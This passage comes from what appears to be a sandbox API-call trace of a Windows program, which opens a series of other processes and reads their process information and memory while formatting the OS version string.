lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.422] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.422] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.423] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.423] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.423] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.423] malloc (_Size=0x62) returned 0xeb65b0 [0344.423] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492162, lpBuffer=0xeb65b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb65b0*, lpNumberOfBytesRead=0x0) returned 1 [0344.424] free (_Block=0xeb65b0) [0344.424] CloseHandle (hObject=0xa9c) returned 1 [0344.424] _ui64tow_s (in: _Value=0x1404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5124") returned 0x0 [0344.425] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5124") returned 4 [0344.425] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.425] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.425] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1404) returned 0xa9c [0344.425] GetLastError () returned 0x0 [0344.426] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.426] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.426] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.426] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.426] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.426] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.427] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.427] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.427] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x311c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.427] malloc (_Size=0x72) returned 0xea89a0 [0344.427] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3122c2, lpBuffer=0xea89a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea89a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.428] free (_Block=0xea89a0) [0344.428] CloseHandle (hObject=0xa9c) returned 1 [0344.428] _ui64tow_s (in: _Value=0x1420, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5152") returned 0x0 [0344.428] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5152") returned 4 [0344.428] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.428] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.429] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1420) returned 0xa9c [0344.429] GetLastError () returned 0x0 [0344.429] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.429] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.429] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.430] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc04100, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.430] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03c2a, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.430] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.430] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.430] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.430] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03570, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.430] malloc (_Size=0x118) returned 0xefada0 [0344.430] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03cca, lpBuffer=0xefada0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xefada0*, lpNumberOfBytesRead=0x0) returned 1 [0344.431] free (_Block=0xefada0) [0344.431] CloseHandle (hObject=0xa9c) returned 1 [0344.432] _ui64tow_s (in: _Value=0x1444, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5188") returned 0x0 [0344.432] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5188") returned 4 [0344.432] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.432] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.433] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1444) returned 0xa9c [0344.433] GetLastError () returned 0x0 [0344.433] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.433] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.433] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.433] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.433] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.434] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.434] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.434] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.434] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.434] malloc (_Size=0x60) returned 0xeb64d0 [0344.434] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e22b0, lpBuffer=0xeb64d0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0344.435] free (_Block=0xeb64d0) [0344.435] CloseHandle (hObject=0xa9c) returned 1 [0344.435] _ui64tow_s (in: _Value=0x1458, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5208") returned 0x0 [0344.435] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5208") returned 4 [0344.436] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.436] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.436] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1458) returned 0xa9c [0344.436] GetLastError () returned 0x0 [0344.436] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.437] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.437] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.437] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5926a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.437] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592258, lpBuffer=0x5ec5a0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.437] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.437] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.438] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.438] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.438] malloc (_Size=0x88) returned 0xe88000 [0344.438] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5922d8, lpBuffer=0xe88000, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88000*, lpNumberOfBytesRead=0x0) returned 1 [0344.439] free (_Block=0xe88000) [0344.439] CloseHandle (hObject=0xa9c) returned 1 [0344.440] _ui64tow_s (in: _Value=0x1474, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5236") returned 0x0 [0344.440] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5236") returned 4 [0344.440] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.440] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.441] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1474) returned 0xa9c [0344.441] GetLastError () returned 0x0 [0344.441] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2700, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.441] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.442] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.442] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.442] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.442] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.442] malloc (_Size=0xa8) returned 0xe96ce0 [0344.442] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22f8, lpBuffer=0xe96ce0, nSize=0xa6, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe96ce0*, lpNumberOfBytesRead=0x0) returned 1 [0344.443] free (_Block=0xe96ce0) [0344.443] CloseHandle (hObject=0xa9c) returned 1 [0344.443] _ui64tow_s (in: _Value=0x1480, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5248") returned 0x0 [0344.444] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5248") returned 4 [0344.444] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.444] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.445] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1480) returned 0xa9c [0344.445] GetLastError () returned 0x0 [0344.445] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.445] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.446] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.446] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.446] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ba020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.446] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.446] malloc (_Size=0x72) returned 0xea8aa0 [0344.446] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c2, lpBuffer=0xea8aa0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8aa0*, lpNumberOfBytesRead=0x0) returned 1 [0344.447] free (_Block=0xea8aa0) [0344.447] CloseHandle (hObject=0xa9c) returned 1 [0344.447] _ui64tow_s (in: _Value=0x148c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5260") returned 0x0 [0344.448] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5260") returned 4 [0344.448] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.448] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.448] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148c) returned 0xa9c [0344.448] GetLastError () returned 0x0 [0344.449] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.449] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.449] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.449] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.449] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.449] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.450] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.450] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x38a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.450] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.450] malloc (_Size=0x62) returned 0xeb6620 [0344.450] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22b2, lpBuffer=0xeb6620, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6620*, lpNumberOfBytesRead=0x0) returned 1 [0344.451] free (_Block=0xeb6620) [0344.451] CloseHandle (hObject=0xa9c) returned 1 [0344.462] _ui64tow_s (in: _Value=0x14cc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5324") returned 0x0 [0344.463] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5324") returned 4 [0344.463] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.463] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.464] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x14cc) returned 0xa9c [0344.464] GetLastError () returned 0x0 [0344.464] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.464] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x30e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.464] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.464] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2600, lpBuffer=0x5ecc60, 